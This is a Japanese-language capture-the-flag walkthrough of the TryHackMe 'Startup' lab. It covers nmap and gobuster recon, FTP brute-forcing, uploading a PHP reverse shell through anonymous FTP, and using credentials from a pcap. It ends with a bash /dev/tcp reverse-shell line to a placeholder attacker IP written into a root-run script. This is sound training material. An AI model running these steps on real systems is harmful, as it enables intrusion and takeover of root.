TryHackMe Writeup:Startup

# はじめに
今回もTryHackMeの難易度`Easy`のルーム`Startup`のwriteupを書いていきたいと思います.

# Welcome to Spice Hut!
まずはマシンを立ち上げましょう.

## ポートスキャン
いつも通りのポートスキャンです.
`sudo nmap -p- -vv -T4 -O -sV 10.10.220.242`
![Pasted image 20240229142811.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/e15c89fc-818c-93cb-53f8-3c8cd7e40f7d.png)
21番(FTP)、22番(SSH)、80番(HTTP)が開いてますね．

## ディレクトリ探索
`sudo gobuster dir -u 10.10.220.242 -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log`
![Pasted image 20240229143153.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/a99dbacd-9f57-27f2-91f8-9cfed81153a2.png)
`files`というディレクトリがあるようです．

## ブラウザで接続
![Pasted image 20240229143101.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/67b105d2-1700-f542-e36f-79d901a0849e.png)
`contact us`のリンク先には特に何も指定されていないみたいですね．

先ほど見つかったディレクトリ，`files`を見てみます．
![Pasted image 20240229143237.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/0eb2785b-4338-2d44-a04f-85ce55a0d669.png)
`ftp`，`important.jpg`，`notice.txt`の1つのフォルダと2つのファイルがありますね．

`ftp`の中には特に何もありません．
![Pasted image 20240229143407.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/7e448442-b39a-5aeb-eefd-d82ab5fe27b6.png)

`notice.txt`には
![Pasted image 20240229143507.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/214f006c-23c6-e1b2-b72f-5817018cfaa3.png)
誰かがAmoung usの画像を勝手にアップロードしたということなんですかね？あと，Mayaって誰ですかね？

一応`important.jpg`もダウンロードしてみます．
`wget http://10.10.220.242/files/important.jpg`
exiftoolで見てみましたが，特に何もありませんでした．
![Pasted image 20240229143811.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/7946911e-b6f2-9be7-e99c-37e741655e4e.png)


とりあえず`maya`という名前でFTPにブルートフォースしてみます．
`sudo hydra -l Maya -P /usr/share/wordlists/password.txt 10.10.220.242 ftp`
ダメでした．
次に`anonymous`で試してたら入れました．先にこっちをやるべきでしたね…
![Pasted image 20240229150313.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/73a47dbf-43ed-1783-577c-12fb8de23223.png)
このFTPから誰かが画像をアップロードしたんですかね？
以前にも使ったPHPもリバースシェルを使ってみます.
PenntestmonkeyのPHPリバースシェルを使います．
`git clone https://github.com/pentestmonkey/php-reverse-shell.git`
`vim php-reverse-shell/php-reverse-shell.php`
IPアドレスとポートは任意に変更します．

`/ftp`ディレクトリに移動して
`put ./php-reverse-shell.php`
別のターミナルを起動して
`nc -nlvp 1234`で通信を待ち受けます.
ブラウザ側でアップロードしたPHPファイルを実行するとshellが取れました．
![Pasted image 20240229151731.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/ae27b66e-956e-dc61-4e01-24f5de2aeceb.png)

`cat recipe.txt`で1つ目の答えがわかります．

## user.txt
user.txtについてとりあえず`find / -name user.txt`としましたが，見つかりませんでした．
`incident`ディレクトリを見てみると`suspicious.pcapng`があります．
パケットキャプチャファイルですね．
これを先ほどのftpフォルダにコピーしてダウンロードします．
WiresharkのTCPストリームでいろいろ見てみると，
![Pasted image 20240229155331.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/fc76d704-c154-aea4-d4b5-289da2f43eb4.png)
パスワードらしきものが流れています．
3回間違えているのでwww-dataのパスワードではないみたいです．

一番上で`lennie`というディレクトリに移動しようとしています．
このユーザのパスワードですかね？
`ssh lennie@10.10.220.242`
![Pasted image 20240229155937.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/4fec1115-383d-68a7-95a0-0345527a3c06.png)
入れましたね．この直下にuser.txtがありました．

## Privilege escalation
ヒントが`scripts`だったので移動してみます．
![Pasted image 20240229160150.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/f1e51f88-c790-9c51-d87f-ac4fe60f565d.png)
startup_list.txtには何も入っていません．
planner.shには
![Pasted image 20240229160717.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/a90e824a-1a6e-88f5-f1b9-018b8d8a245d.png)
とあります．`$LIST`の内容を`startup_list.txt`に書き込んで
`/etc/print.sh`を実行するという者みたいですね．

`/etc/print.sh`の中身は
![Pasted image 20240229160927.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/179cf370-96fd-e6a2-fa21-96d270fb8be9.png)

/etc/print.shに何か仕掛ければいいんですかね？
[HackTricks](https://book.hacktricks.xyz/v/jp/generic-methodologies-and-resources/shells/linux)で調べてみます．
使えそうなのがあったのでこれを`/etc/print.sh`に書き込みます．
`'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'`
![Pasted image 20240229164911.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/e81234be-1573-b99e-6226-e1454b310b1c.png)

続いて指定したポートで待ち受けます．
`nc -nlvp 1234`
![Pasted image 20240229164946.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/28b98a8d-da17-4a28-bfda-2bca257d39cc.png)
この直下に`root.txt`がありました．

# おわりに
HackTricksの便利さを改めて感じましたね．Wiresharkの使い方ももう少し上手くなりたいと思いました．
最後まで見ていただきありがとうございました．